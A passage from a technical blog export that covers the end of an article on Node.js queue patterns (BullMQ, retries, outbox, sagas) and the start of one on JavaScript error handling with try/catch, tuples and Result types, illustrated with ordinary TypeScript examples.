**Why Redis for BullMQ?** Redis provides atomic operations (MULTI/EXEC), sorted sets for delayed jobs, and pub/sub for worker coordination—all with sub-millisecond latency.

### 2.2 Node.js Distributed Queue Libraries

| Library         | Backend          | Design Philosophy                          | Best For                              |
| --------------- | ---------------- | ------------------------------------------ | ------------------------------------- |
| **BullMQ** v5.x | Redis            | Modern, feature-rich, production-grade     | Most distributed queue needs          |
| **Agenda**      | MongoDB          | Cron-style scheduling                      | Recurring jobs with complex schedules |
| **Temporal**    | PostgreSQL/MySQL | Workflow orchestration with state machines | Long-running, multi-step workflows    |

### 2.3 BullMQ Deep Dive

BullMQ (v5.67+) is the production standard for Node.js distributed queues. Key design decisions:

**Stalled job detection**: Workers acquire a lock when processing a job. If the lock expires (default: 30s) without renewal, BullMQ marks the job as stalled and either requeues it or moves it to failed. This handles worker crashes but also triggers if CPU-bound work starves the event loop.

```typescript title="producer.ts" collapse={1-5}
import { Queue } from "bullmq"

const connection = { host: "localhost", port: 6379 }
const emailQueue = new Queue("email-processing", { connection })

async function queueEmailJob(userId: number, template: string) {
  await emailQueue.add(
    "send-email",
    { userId, template },
    {
      attempts: 5,
      backoff: { type: "exponential", delay: 1000 },
      removeOnComplete: { count: 1000 }, // Keep last 1000 completed jobs
      removeOnFail: { age: 7 * 24 * 3600 }, // Keep failed jobs for 7 days
    },
  )
}
```

**Worker with concurrency tuning**:

```typescript title="worker.ts" collapse={1-2}
import { Worker } from "bullmq"

const emailWorker = new Worker(
  "email-processing",
  async (job) => {
    const { userId, template } = job.data
    // I/O-bound: email API call
    await sendEmail(userId, template)
  },
  {
    connection: { host: "localhost", port: 6379 },
    concurrency: 100, // High concurrency for I/O-bound work
    lockDuration: 30000, // 30s lock, must complete or renew
  },
)
```

**Concurrency tuning guidance:**

- **I/O-bound jobs** (API calls, DB queries): concurrency 100–300
- **CPU-bound jobs**: Use sandboxed processors (separate process) with low concurrency
- **Mixed**: Start low, measure, increase—monitor for stalled jobs

**Sandboxed processors** for CPU-intensive work:

```typescript title="sandboxed-worker.ts"
// Main process
const worker = new Worker("cpu-intensive", "./processor.js", {
  connection,
  useWorkerThreads: true, // Node.js Worker Threads (BullMQ 3.13+)
})

// processor.js (separate file)
export default async function (job) {
  // CPU work here doesn't block main process
  return heavyComputation(job.data)
}
```

**Job flows** for dependencies (parent waits for all children):

```typescript title="flow.ts" collapse={1-2}
import { FlowProducer } from "bullmq"

const flowProducer = new FlowProducer({ connection })

await flowProducer.add({
  name: "process-order",
  queueName: "orders",
  data: { orderId: "123" },
  children: [
    { name: "validate", queueName: "validation", data: { orderId: "123" } },
    { name: "reserve", queueName: "inventory", data: { orderId: "123" } },
    { name: "charge", queueName: "payments", data: { orderId: "123" } },
  ],
})
// Parent job waits in 'waiting-children' state until all children complete
```

**Rate limiting** (global across all workers):

```typescript title="rate-limited-worker.ts"
const worker = new Worker("api-calls", processor, {
  connection,
  limiter: {
    max: 10, // 10 jobs
    duration: 1000, // per second
  },
})
```

## Part 3: Engineering for Failure

### 3.1 Retries with Exponential Backoff and Jitter

Naive immediate retries cause thundering herd—all failed jobs retry simultaneously, overwhelming the recovering service.

<figure>

![Exponential backoff with jitter desynchronizes retries, preventing load spikes](./exponential-backoff-with-jitter-desynchronizes-retries-preventing-load-spikes.svg)

<figcaption>Exponential backoff with jitter desynchronizes retries, preventing load spikes</figcaption>

</figure>

**Formula**: `delay = min(cap, base × 2^attempt) + random(0, delay × jitterFactor)`

**BullMQ implementation**:

```typescript title="retry-config.ts"
await queue.add("api-call", payload, {
  attempts: 5,
  backoff: {
    type: "exponential",
    delay: 1000, // Base: 1s, 2s, 4s, 8s, 16s
  },
})
```

**Why jitter?** Without jitter, jobs that failed at the same time retry at the same time. Jitter spreads retries uniformly, smoothing load on downstream services.

### 3.2 Dead Letter Queue Pattern

Some jobs are inherently unprocessable: malformed payloads, missing dependencies, or bugs in consumer logic. These "poison messages" must be isolated.

<figure>

![DLQ isolates poison messages, allowing main queue processing to continue](./dlq-isolates-poison-messages-allowing-main-queue-processing-to-continue.svg)

<figcaption>DLQ isolates poison messages, allowing main queue processing to continue</figcaption>

</figure>

BullMQ automatically moves jobs to "failed" state after exhausting retries. Query failed jobs for manual inspection:

```typescript title="dlq-inspection.ts"
const failedJobs = await queue.getFailed(0, 100) // Get first 100 failed jobs
for (const job of failedJobs) {
  console.log(`Job ${job.id} failed: ${job.failedReason}`)
  // Optionally: fix data and retry
  await job.retry()
}
```

### 3.3 Idempotent Consumers

Distributed queues provide **at-least-once delivery**. Network partitions, worker crashes, or lock expiration can cause duplicate delivery. Consumers must handle this safely.

**Idempotency strategies:**

| Strategy              | Implementation                            | Trade-off                       |
| --------------------- | ----------------------------------------- | ------------------------------- |
| **Unique constraint** | DB unique index on job ID                 | Simple; fails fast on duplicate |
| **Idempotency key**   | Store processed keys in Redis/DB with TTL | Allows explicit duplicate check |
| **Conditional write** | `UPDATE ... WHERE version = ?`            | Handles concurrent execution    |

```typescript title="idempotent-consumer.ts" collapse={1-3}
import { Worker } from "bullmq"
import { db } from "./database"

const worker = new Worker("user-registration", async (job) => {
  const { userId, userData } = job.data

  // Check if already processed using job ID
  const existing = await db.processedJobs.findByPk(job.id)
  if (existing) {
    console.log(`Job ${job.id} already processed, skipping`)
    return
  }

  // Atomic: create user + mark job processed
  await db.transaction(async (t) => {
    await db.users.create(userData, { transaction: t })
    await db.processedJobs.create({ jobId: job.id, processedAt: new Date() }, { transaction: t })
  })
})
```

## Part 4: Advanced Architectural Patterns

### 4.1 Transactional Outbox Pattern

**Problem**: How do you atomically update a database AND publish an event? If you publish first and the DB write fails, you've sent an invalid event. If you write first and publishing fails, the event is lost.

<figure>

![Transactional outbox ensures atomic DB writes and event publishing via relay process](./transactional-outbox-ensures-atomic-db-writes-and-event-publishing-via-relay-pro.svg)

<figcaption>Transactional outbox ensures atomic DB writes and event publishing via relay process</figcaption>

</figure>

**Solution**: Write events to an "outbox" table in the same transaction as business data. A separate relay process polls the outbox and publishes to the message broker.

```typescript title="transactional-outbox.ts"
async function createUserWithEvent(userData: UserData) {
  return await db.transaction(async (t) => {
    const user = await db.users.create(userData, { transaction: t })

    // Event written atomically with business data
    await db.outbox.create(
      {
        eventType: "USER_CREATED",
        aggregateId: user.id,
        payload: JSON.stringify({ userId: user.id, ...userData }),
        status: "PENDING",
      },
      { transaction: t },
    )

    return user
  })
}

// Separate relay process (runs continuously)
async function relayOutboxEvents() {
  const pending = await db.outbox.findAll({ where: { status: "PENDING" }, limit: 100 })
  for (const event of pending) {
    await messageBroker.publish(event.eventType, JSON.parse(event.payload))
    await event.update({ status: "SENT" })
  }
}
```

**Trade-offs:**

- **Pros**: Guarantees consistency between DB and events; survives broker outages
- **Cons**: Adds latency (polling interval); requires relay process; eventual consistency only

### 4.2 Saga Pattern for Distributed Transactions

When a business operation spans multiple services (each with its own database), traditional ACID transactions don't apply. The Saga pattern coordinates distributed operations through a sequence of local transactions with compensating actions for rollback.

<figure>

![Saga with compensating transactions: each step has a corresponding rollback action](./saga-with-compensating-transactions-each-step-has-a-corresponding-rollback-actio.svg)

<figcaption>Saga with compensating transactions: each step has a corresponding rollback action</figcaption>

</figure>

**Choreography vs. Orchestration:**

| Aspect            | Choreography                               | Orchestration                        |
| ----------------- | ------------------------------------------ | ------------------------------------ |
| **Coordination**  | Services react to events autonomously      | Central orchestrator directs steps   |
| **Coupling**      | Loose—services don't know about each other | Tighter—orchestrator knows all steps |
| **Debugging**     | Harder—flow distributed across services    | Easier—single point of visibility    |
| **Failure point** | Distributed                                | Orchestrator (must be resilient)     |

```typescript title="saga-orchestrator.ts" collapse={20-26}
class OrderSagaOrchestrator {
  async execute(orderData: OrderData) {
    const steps: SagaStep[] = [
      { action: () => this.reserveInventory(orderData), compensate: () => this.releaseInventory(orderData) },
      { action: () => this.chargePayment(orderData), compensate: () => this.refundPayment(orderData) },
      { action: () => this.createShipment(orderData), compensate: () => this.cancelShipment(orderData) },
    ]

    const completed: SagaStep[] = []
    try {
      for (const step of steps) {
        await step.action()
        completed.push(step)
      }
    } catch (error) {
      // Compensate in reverse order
      for (const step of completed.reverse()) {
        await step.compensate()
      }
      throw error
    }
  }

  private async reserveInventory(order: OrderData) {
    /* ... */
  }
  private async releaseInventory(order: OrderData) {
    /* ... */
  }
  // ... other steps
}
```

### 4.3 Event Sourcing with Message Queues

Event Sourcing stores state changes as an immutable sequence of events rather than current state. Queues distribute these events to consumers that build read models (CQRS).

<figure>

![Event Sourcing with CQRS: events flow from write side through queue to multiple read models](./event-sourcing-with-cqrs-events-flow-from-write-side-through-queue-to-multiple-r.svg)

<figcaption>Event Sourcing with CQRS: events flow from write side through queue to multiple read models</figcaption>

</figure>

**Why use queues with Event Sourcing?**

- **Decoupling**: Read model consumers don't need to poll the event store
- **Replay**: Queue consumers can replay from a point in time (Kafka log compaction)
- **Scaling**: Multiple consumer groups process events independently

**Kafka** is commonly used because its durable, replayable log naturally fits the event store pattern. Log compaction retains the last event per key, enabling efficient state reconstruction.

## Conclusion

Async queue patterns form the backbone of scalable Node.js systems. The progression from in-memory queues to distributed systems follows increasing requirements:

1. **In-memory** (p-queue, fastq): Local concurrency control, no durability
2. **Distributed** (BullMQ): Cross-process coordination, persistence, at-least-once delivery
3. **Workflow orchestration** (Temporal, Sagas): Complex multi-step operations with compensation

Key design principles apply at every level:

- **Bound your queues**: Implement backpressure to prevent memory exhaustion
- **Design for failure**: Exponential backoff, idempotent consumers, dead letter queues
- **Monitor everything**: Queue depth, processing latency, retry rate, stalled job count
- **Match concurrency to workload**: High for I/O-bound, low (with sandboxing) for CPU-bound

## Appendix

### Prerequisites

- Node.js event loop fundamentals (phases, microtask queue)
- JavaScript Promises and async/await
- Redis basics (for BullMQ sections)
- Database transactions (for outbox pattern)

### Terminology

- **Backpressure**: Mechanism to slow producers when consumers can't keep up
- **Competing Consumers**: Pattern where multiple workers pull from the same queue
- **DLQ (Dead Letter Queue)**: Queue for messages that fail processing repeatedly
- **Idempotency**: Property where repeated operations produce the same result
- **Jitter**: Random delay added to prevent synchronized retries
- **Stalled Job**: Job whose lock expired without completion (worker crash or CPU starvation)

### Summary

- In-memory queues (p-queue v9.x, fastq v1.20.x) control local concurrency with no persistence
- BullMQ v5.x provides Redis-backed distributed queues with retries, rate limiting, flows, and stalled detection
- Exponential backoff with jitter prevents thundering herd on transient failures
- Idempotent consumers are mandatory for at-least-once delivery systems
- Transactional outbox ensures atomic DB writes and event publishing
- Saga pattern coordinates distributed transactions through compensating actions
- Monitor queue depth, latency, retry rate, and stalled job count in production

### References

- [Node.js Event Loop Documentation](https://nodejs.org/en/learn/asynchronous-work/event-loop-timers-and-nexttick) - Official guide to event loop phases and microtask processing
- [BullMQ Documentation](https://docs.bullmq.io/) - Complete reference for BullMQ v5.x
- [BullMQ Stalled Jobs Guide](https://docs.bullmq.io/guide/workers/stalled-jobs) - Lock-based stalled detection mechanism
- [BullMQ Concurrency Guide](https://docs.bullmq.io/guide/workers/concurrency) - Tuning guidance for different workloads
- [p-queue npm](https://www.npmjs.com/package/p-queue) - Promise-based queue with priority and rate limiting
- [fastq GitHub](https://github.com/mcollina/fastq) - High-performance in-memory queue by Matteo Collina
- [MDN Promise.withResolvers()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/withResolvers) - Baseline 2024 API
- [Saga Pattern - microservices.io](https://microservices.io/patterns/data/saga.html) - Distributed transaction coordination
- [Transactional Outbox - microservices.io](https://microservices.io/patterns/data/transactional-outbox.html) - Atomic DB writes and event publishing
- [Event Sourcing - Martin Fowler](https://martinfowler.com/eaaDev/EventSourcing.html) - Foundational pattern explanation

---

## JavaScript Error Handling Patterns

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/javascript-patterns/javascript-error-handling-patterns
**Category:** Programming & Patterns / JavaScript Patterns
**Description:** Master exception-based and value-based error handling approaches, from traditional try-catch patterns to modern functional programming techniques with monadic structures.

# JavaScript Error Handling Patterns

Master exception-based and value-based error handling approaches, from traditional try-catch patterns to modern functional programming techniques with monadic structures.

<figure>

![Evolution from exception-based to value-based error handling paradigms](./evolution-from-exception-based-to-value-based-error-handling-paradigms.svg)

<figcaption>Evolution from exception-based to value-based error handling paradigms</figcaption>

</figure>

## Abstract

<figure>

![Error handling paradigms: from implicit exception propagation to explicit value-based composition](./error-handling-paradigms-from-implicit-exception-propagation-to-explicit-value-b.svg)

<figcaption>Error handling paradigms: from implicit exception propagation to explicit value-based composition</figcaption>

</figure>

The core decision in JavaScript error handling is **where failure information lives**: in an invisible control flow path (exceptions) or in the function's return type (values). This choice ripples through your entire architecture.

**Exception model** (`try/catch`): Failure is a side effect. Functions have two exit paths—return and throw—but the type signature only declares one. The runtime unwinds the stack searching for handlers, which is expensive (~10-100x slower than returns) and makes control flow non-local.

**Value model** (`Result<T, E>`): Failure is data. Functions return a discriminated union that forces callers to acknowledge both outcomes. Operations compose via `.map()` (transform success) and `.andThen()` (chain fallible operations), with failures automatically bypassing subsequent success handlers—this is Railway Oriented Programming.

**The trade-off matrix**:

| Criterion       | try/catch                  | [data, error]          | Result Monad        |
| --------------- | -------------------------- | ---------------------- | ------------------- |
| Type safety     | `catch` receives `unknown` | Convention-based       | Compiler-enforced   |
| Composability   | Imperative nesting         | Repetitive `if (err)`  | Fluent chaining     |
| Failure forcing | Easy to ignore             | Easy to ignore         | Linting can enforce |
| Performance     | Stack unwinding            | Value return           | Value return        |
| Debugging       | Native stack traces        | May lose stack context | Errors are values   |

**Recommendation**: Use `neverthrow` (v8.x) for new TypeScript code—it balances type safety with ergonomics and has ESLint rules that enforce Result consumption. Reserve `try/catch` for external boundaries (parsing user input, calling throwing APIs) and convert immediately to Result types.

## Introduction

Error handling shapes architecture. The choice between exceptions and values determines how failure propagates through your system, how composition works, and what guarantees your type system can provide.

JavaScript's `try...catch` mechanism, standardized in ECMAScript 3 (ES3, December 1999), treats errors as exceptional events that halt normal execution and transfer control elsewhere. This model served well for decades but carries fundamental limitations: untyped catch blocks, non-local control flow, and easy error swallowing.

The functional alternative—errors as return values—gained momentum with TypeScript's adoption and the influence of languages like Rust (`Result<T, E>`) and Haskell (`Either a b`). Libraries like `neverthrow` and `fp-ts` bring these patterns to JavaScript, offering type safety and composability that exceptions cannot provide.

> **Version context**: This article covers ECMAScript 2025 (ES16) for language features and TypeScript 5.x for type system capabilities. TC39 proposal stages are current as of January 2026.

## Section 1: The Orthodox Approach - Exceptions as Control Flow

JavaScript's exception model, rooted in imperative traditions inherited from C++ and Java, treats errors as control flow events that halt execution and transfer to a handler.

### 1.1 The Core Mechanics: try, throw, and Error

Per ECMA-262 §14.15, the `try` statement provides structured exception handling:

```javascript collapse={1-2}
// ECMA-262 §14.15: TryStatement
// try Block Catch | try Block Finally | try Block Catch Finally
try {
  const result = riskyOperation()
  return processResult(result)
} catch (error) {
  console.error("Operation failed:", error)
  return fallbackValue
} finally {
  cleanup() // Always executes, even after return/throw
}
```

**Execution semantics** (per ECMA-262 §14.15.3):

1. Execute the `try` block
2. If an exception is thrown, the runtime creates a **ThrowCompletion** record and searches the call stack for a matching `catch`
3. If found, bind the thrown value to the catch parameter and execute the catch block
4. Execute `finally` regardless of outcome—even if `try` or `catch` contains `return` or `throw`

**Critical edge case**: The `finally` block can override returns and suppress exceptions:

```javascript
function surprising() {
  try {
    throw new Error("Original error")
  } finally {
    return "finally wins" // Suppresses the throw!
  }
}
surprising() // Returns "finally wins", no error thrown
```

**The `throw` statement** (ECMA-262 §14.14) accepts any value—this is a design flaw, not a feature:

```javascript collapse={1-3}
// ECMA-262 allows throwing ANY value
// This makes catch blocks fundamentally untyped

// Anti-patterns (still legal):
throw "Something went wrong" // string
throw 404 // number
throw { code: "E_FAIL" } // plain object
throw null // null (breaks error.message access)

// Correct pattern:
throw new Error("Something went wrong")
throw new TypeError("Expected string, got number")
```

**Error hierarchy** (ECMA-262 §20.5): The built-in error types form a prototype chain:

- `Error` (base)
  - `EvalError`, `RangeError`, `ReferenceError`, `SyntaxError`, `TypeError`, `URIError`
  - `AggregateError` (ES2021, for `Promise.any` rejections)

Each instance captures:

- `message`: Human-readable description
- `name`: Error type name (e.g., "TypeError")
- `stack`: Non-standard but universally implemented stack trace
- `cause` (ES2022): Optional chained error for wrapping

> **ES2022 addition**: The `cause` option enables error chaining without losing the original stack:
>
> ```javascript
> throw new Error("High-level failure", { cause: originalError })
> ```

### 1.2 Asynchronous Error Propagation

Promises (ES2015) and async/await (ES2017) extend exception semantics to asynchronous code, but with critical differences in error propagation.

**Promise rejection** uses `.catch()` for error handling:

```javascript collapse={1-2}
// Promise rejection becomes ThrowCompletion when awaited
// or is handled by .catch()
fetch("/api/data")
  .then((response) => response.json())
  .then((data) => processData(data))
  .catch((error) => {
    console.error("Request failed:", error)
    return fallbackData
  })
```

**async/await** (ES2017) unifies syntax but changes timing:

```javascript collapse={1-2}
// await converts Promise rejection to thrown exception
// enabling standard try/catch
async function fetchData() {
  try {
    const response = await fetch("/api/data")
    const data = await response.json()
    return processData(data)
  } catch (error) {
    console.error("Request failed:", error)
    return fallbackData
  }
}
```

**Critical edge cases and failure modes**:

1. **Unhandled rejection** (silent failure pre-Node 15):

   ```javascript
   async function leaky() {
     fetch("/api/data") // No await, no catch - rejection lost!
   }
   ```

   > **Node.js evolution**: Prior to Node.js 15, unhandled rejections only emitted warnings. Node.js 15+ crashes the process by default (`--unhandled-rejections=throw`).

2. **Promise constructor anti-pattern**:

   ```javascript
   // Exceptions in Promise executor are caught and become rejections
   new Promise((resolve) => {
     throw new Error("Sync throw") // Becomes rejection, not uncaught exception
   })

   // BUT: async callbacks inside the executor are NOT caught
   new Promise((resolve) => {
     setTimeout(() => {
       throw new Error("Escapes!") // Uncaught exception
     }, 0)
   })
   ```

3. **Concurrent await gotcha**:

   ```javascript collapse={1-3}
   // Sequential: Second fetch waits for first
   // If first fails, second never starts
   const a = await fetch("/a") // Throws here
   const b = await fetch("/b") // Never reached

   // Concurrent: Both start immediately
   // First rejection wins, second rejection is unhandled!
   const [a, b] = await Promise.all([
     fetch("/a"), // Rejects
     fetch("/b"), // Also rejects - this rejection is "lost"
   ])

   // Fix: Use Promise.allSettled for independent operations
   const results = await Promise.allSettled([fetch("/a"), fetch("/b")])
   ```

### 1.3 A Critical Assessment of the Exception Model

Exceptions have fundamental architectural costs that motivate alternatives.

**1. Functions have invisible exit paths**

A signature like `function processData(data): ProcessedData` lies—the function has two exit paths (return and throw), but only one is declared. This breaks referential transparency and makes reasoning about code harder.

```typescript
// Type signature promises ProcessedData
function processData(data: Input): ProcessedData {
  if (!data.valid) throw new Error("Invalid") // Hidden exit
  return transform(data)
}

// Caller has no compile-time warning
const result = processData(input) // Might throw!
```

**2. Stack unwinding is expensive**

When an exception is thrown, the runtime must:

1. Allocate an Error object and capture the stack trace
2. Search up the call stack for a `catch` handler
3. Unwind each stack frame, running any `finally` blocks

**Performance impact**: Throwing is 10-100x slower than returning. In V8, a thrown error costs ~1-2μs vs ~10-50ns for a return. This matters in hot paths.

```javascript collapse={1-4}
// Benchmark: 1M iterations
// Return path: ~15ms
// Throw path: ~1500ms (100x slower)

// Anti-pattern: using exceptions for control flow
function findItem(arr, predicate) {
  try {
    arr.forEach((item) => {
      if (predicate(item)) throw item // Don't do this
    })
  } catch (found) {
    return found
  }
  return null
}
```

**3. TypeScript's `unknown` catch parameter**

Per TypeScript 4.4+, catch variables are typed as `unknown` (previously `any`). This is correct—JavaScript allows throwing anything—but forces runtime guards:

```typescript
try {
  riskyOperation()
} catch (error) {
  // error: unknown - must narrow before use
  if (error instanceof Error) {
    console.log(error.message) // Safe
  } else if (typeof error === "string") {
    console.log(error) // Also possible
  } else {
    console.log("Unknown error type", error)
  }
}
```

> **TypeScript history**: Prior to 4.4, catch variables were `any` by default. The `useUnknownInCatchVariables` compiler option (now default with `strict`) changed this to `unknown`, forcing explicit type narrowing.

**4. Silent error swallowing**

Nothing prevents empty or incomplete catch blocks:

```typescript
try {
  await criticalOperation()
} catch (e) {
  // "I'll handle this later" - famous last words
  console.log("Error occurred")
  // No re-throw, no recovery, error is lost
}
```

**5. Error.isError (ES2026)**

A new standard feature advancing to Stage 4 addresses error type checking across realms:

```javascript
// Problem: instanceof fails across iframes/realms
const iframe = document.createElement("iframe")
document.body.appendChild(iframe)
const IframeError = iframe.contentWindow.Error
const foreignError = new IframeError("from iframe")

foreignError instanceof Error // false! Different Error constructor

// Solution (ES2026):
Error.isError(foreignError) // true - works across realms
```

## Section 2: The Paradigm Shift - Errors as Return Values

The functional alternative treats errors as data, not control flow. Failure becomes part of the return type, making it visible in signatures and enforceable by the type system.

### 2.1 The Go-Style Tuple Pattern

Go's idiomatic `value, err := operation()` pattern has been adapted to JavaScript. Functions return `[data, error]` tuples:

```typescript collapse={1-3}
// Helper to convert Promise rejections to tuples
// Commonly called "to" or "safe"

function to<T>(promise: Promise<T>): Promise<[T | null, Error | null]> {
  return promise.then((data) => [data, null]).catch((err) => [null, err])
}

async function fetchUserData(id: string) {
  const [user, err] = await to(fetch(`/api/users/${id}`))
  if (err) {
    console.error("Failed to fetch user:", err)
    return null
  }
  return user
}
```

**Why this pattern exists**: Explicit error acknowledgment at call sites. The `err` variable is visible, nudging developers to handle it.

**Why it's a leaky abstraction**:

1. **No type-level exclusivity**: `[T | null, Error | null]` allows four states: `[value, null]`, `[null, error]`, `[null, null]`, and `[value, error]`. Only two are valid.

   ```typescript
   // TypeScript cannot prevent this:
   const result: [User | null, Error | null] = [null, null] // Valid type, invalid state
   ```

2. **Verbose chaining** produces "staircase code":

   ```typescript collapse={1-5}
   // Each step needs its own error check
   // Compare to .andThen() chaining in Result types

   async function processUserOrder(userId: string) {
     const [user, err1] = await to(fetchUser(userId))
     if (err1) return [null, err1]

     const [orders, err2] = await to(fetchOrders(user.id))
     if (err2) return [null, err2]

     const [processed, err3] = await to(processOrders(orders))
     if (err3) return [null, err3]

     return [processed, null]
   }
   ```

3. **No forced handling**: Nothing prevents ignoring the error:

   ```typescript
   const [user, err] = await to(fetchUser(id))
   // Oops, forgot to check err
   console.log(user.name) // Runtime error if err was set
   ```

4. **Stack trace loss**: If the caught value isn't an Error instance, you lose debugging context:

   ```typescript
   // Some APIs reject with non-Error values
   const [data, err] = await to(someBadApi())
   // err might be a string, number, or object - no stack trace
   ```

**When tuples make sense**: Simple scripts, prototypes, or when you genuinely cannot add dependencies. For production systems, prefer proper Result types.

### 2.2 The Functional Evolution: Monadic Error Handling

The `Result` monad (or `Either` in Haskell/fp-ts terminology) formalizes error-as-value with type-safe guarantees. This pattern originates from ML-family languages and was popularized in Rust.

**The core insight**: A discriminated union with exactly two variants:

```typescript
type Result<T, E> =
  | { ok: true; value: T } // Success
  | { ok: false; error: E } // Failure
```

This structure makes invalid states **impossible at the type level**. You cannot have both value and error, or neither.

**Railway Oriented Programming** (Scott Wlaschin's term) visualizes this as two parallel tracks:

<figure>

![Failures automatically bypass subsequent success handlers—the "railway" metaphor](./failures-automatically-bypass-subsequent-success-handlers-the-railway-metaphor.svg)

<figcaption>Failures automatically bypass subsequent success handlers—the "railway" metaphor</figcaption>

</figure>

**The chainable API**:

```typescript collapse={1-3}
// Result monad operations compose declaratively
// Each transforms or short-circuits based on Ok/Err state

const result = parseNumber("10")
  .map((x) => x * 2) // Transform Ok value (Err passes through)
  .andThen(
    (
      x, // Chain fallible operation
    ) => (x > 15 ? ok(x) : err("Value too small")),
  )
  .orElse((e) => ok(defaultValue)) // Recover from error
  .match(
    (value) => `Success: ${value}`, // Handle Ok
    (error) => `Error: ${error}`, // Handle Err
  )
```

**Core methods explained**:

| Method                | Also Known As             | Behavior                                              |
| --------------------- | ------------------------- | ----------------------------------------------------- |
| `.map(fn)`            | `fmap`                    | Transform `Ok` value; `Err` passes through unchanged  |
| `.andThen(fn)`        | `chain`, `flatMap`, `>>=` | Chain fallible operation; `fn` returns `Result`       |
| `.orElse(fn)`         | `recover`                 | Transform `Err`; `Ok` passes through unchanged        |
| `.match(onOk, onErr)` | `fold`, `cata`            | Exit the monad—extract a value by handling both cases |

**Why `.andThen()` is the key operation**: It prevents nested Result types. Without it:

```typescript
// .map() on a fallible function produces nested Results
const nested: Result<Result<number, string>, ParseError> = parseNumber("10").map((n) => validateRange(n)) // validateRange returns Result

// .andThen() flattens automatically
const flat: Result<number, string | ParseError> = parseNumber("10").andThen((n) => validateRange(n))
```

**Monad laws** (for the mathematically inclined): Any proper Result implementation must satisfy:

1. **Left identity**: `ok(a).andThen(f) ≡ f(a)`
2. **Right identity**: `m.andThen(ok) ≡ m`
3. **Associativity**: `m.andThen(f).andThen(g) ≡ m.andThen(x => f(x).andThen(g))`

## Section 3: Implementing Monadic Patterns in Practice

Several TypeScript libraries implement the Result pattern with different trade-offs in API design, scope, and ecosystem integration.

### 3.1 The Comprehensive Toolkit: fp-ts

[fp-ts](https://gcanti.github.io/fp-ts/) (v2.16.x, latest as of January 2026) is a complete functional programming toolkit for TypeScript. Its `Either<E, A>` type implements the Result pattern with `Left<E>` for failure and `Right<A>` for success (matching Haskell convention).

**Key design choice**: Standalone pipeable functions rather than method chaining. Data flows through `pipe()`:

```typescript title="fp-ts-example.ts" collapse={1-4}
import { pipe } from "fp-ts/function"
import * as E from "fp-ts/Either"
// fp-ts uses free functions + pipe() rather than method chaining
// This enables tree-shaking and follows FP conventions

function parseNumber(s: string): E.Either<string, number> {
  const n = parseFloat(s)
  return isNaN(n) ? E.left("Invalid number") : E.right(n)
}

const result = pipe(
  parseNumber("10"),
  E.map((x) => x * 2),
  E.chain((x) => (x > 15 ? E.right(x) : E.left("Value too small"))),
  E.match(
    (error) => `Computation failed: ${error}`,
    (value) => `Computation succeeded: ${value}`,
  ),
)
// result is "Computation succeeded: 20"
```

**fp-ts strengths**:

- Mathematically rigorous (follows Haskell patterns)
- Rich ecosystem: `Option`, `Task`, `Reader`, `State`, etc.
- Strong tree-shaking via module imports

**fp-ts weaknesses**:

- Steep learning curve—requires understanding FP vocabulary
- Verbose for simple cases
- `pipe()` syntax unfamiliar to OOP developers

> **Ecosystem evolution**: fp-ts is merging with Effect-TS, which represents what would be fp-ts v3. For new projects, consider Effect-TS directly if you want the full FP ecosystem.

### 3.2 The Pragmatic Choice: neverthrow

[neverthrow](https://github.com/supermacro/neverthrow) (v8.2.0, February 2025) focuses specifically on Result types with an ergonomic, method-chaining API familiar to OOP developers.

```typescript title="neverthrow-example.ts" collapse={1-2}
import { ok, err, Result } from "neverthrow"
// Method chaining instead of pipe() - more familiar to most JS devs

function parseNumber(s: string): Result<number, string> {
  const n = parseFloat(s)
  return isNaN(n) ? err("Invalid number") : ok(n)
}

const result = parseNumber("10")
  .map((x) => x * 2)
  .andThen((x) => (x > 15 ? ok(x) : err("Value too small")))
  .match(
    (value) => `Computation succeeded: ${value}`,
    (error) => `Computation failed: ${error}`,
  )
```

**neverthrow v8.x changes** (breaking from v7):

- `.orElse()` can now change the `Ok` type (requires explicit type arguments in some cases)
- `safeTry` no longer requires `.safeUnwrap()` call
- New `.orTee()` method for side effects on errors (v8.2.0)
- `ok()`, `err()`, `okAsync()`, `errAsync()` accept zero arguments for void returns

**The killer feature: ESLint enforcement**

[eslint-plugin-neverthrow](https://github.com/mdbetancourt/eslint-plugin-neverthrow) enforces Result consumption. This rule fails if you don't handle a Result:

```typescript
// ESLint error: Result must be consumed
const result = parseNumber("10") // Error: unconsumed Result

// Fixed: must use .match(), .unwrapOr(), or ._unsafeUnwrap()
const value = parseNumber("10").unwrapOr(0)
```

This eliminates the "forgot to check error" class of bugs entirely.

**ResultAsync for promises**:

```typescript collapse={1-3}
import { ResultAsync, okAsync, errAsync } from "neverthrow"
// ResultAsync wraps Promise<Result> with chainable API
// Avoids the awkwardness of Promise + Result nesting

const fetchUser = (id: string): ResultAsync<User, FetchError> =>
  ResultAsync.fromPromise(
    fetch(`/api/users/${id}`).then((r) => r.json()),
    (e) => new FetchError(e),
  )

// Chains work across async boundaries
const result = await fetchUser("123")
  .andThen((user) => fetchOrders(user.id))
  .map((orders) => orders.filter((o) => o.active))
```

### 3.3 The Broader Ecosystem

| Library                                              | Focus              | API Style          | Notes                            |
| ---------------------------------------------------- | ------------------ | ------------------ | -------------------------------- |
| [ts-results](https://github.com/vultix/ts-results)   | Minimal Result     | Method chaining    | Lightweight, zero dependencies   |
| [oxide.ts](https://github.com/traverse1984/oxide.ts) | Rust-like          | Method chaining    | Closer to Rust's std::result API |
| [Effect-TS](https://effect.website/)                 | Full effect system | Method + generator | fp-ts successor, comprehensive   |
| [true-myth](https://github.com/true-myth/true-myth)  | Maybe + Result     | Method chaining    | Good documentation               |

### 3.4 Comparative Analysis

| Criterion      | try/catch           | [data, error]        | fp-ts Either                | neverthrow                |
| -------------- | ------------------- | -------------------- | --------------------------- | ------------------------- |
| Type safety    | `unknown` in catch  | Convention-based     | Compiler-enforced           | Compiler + lint enforced  |
| Ergonomics     | High (simple cases) | Low (verbose checks) | Medium (learning curve)     | High (familiar API)       |
| Composability  | Poor (imperative)   | Poor (manual chains) | Excellent (designed for it) | Excellent (fluent chains) |
| Performance    | ~1-2μs per throw    | ~10-50ns per return  | ~10-50ns per return         | ~10-50ns per return       |
| Bundle size    | 0 (native)          | 0 (native)           | ~15KB (tree-shaken)         | ~5KB (tree-shaken)        |
| ESLint support | Basic               | None                 | None                        | Full consumption rules    |
| Async support  | Native async/await  | Manual wrapping      | TaskEither                  | ResultAsync               |

**Decision matrix**:

```
Need simplicity + no deps?     → Go-style tuples (accept limitations)
Need type safety + ergonomics? → neverthrow (recommended default)
Need full FP ecosystem?        → fp-ts or Effect-TS
Need Rust-like API?            → oxide.ts
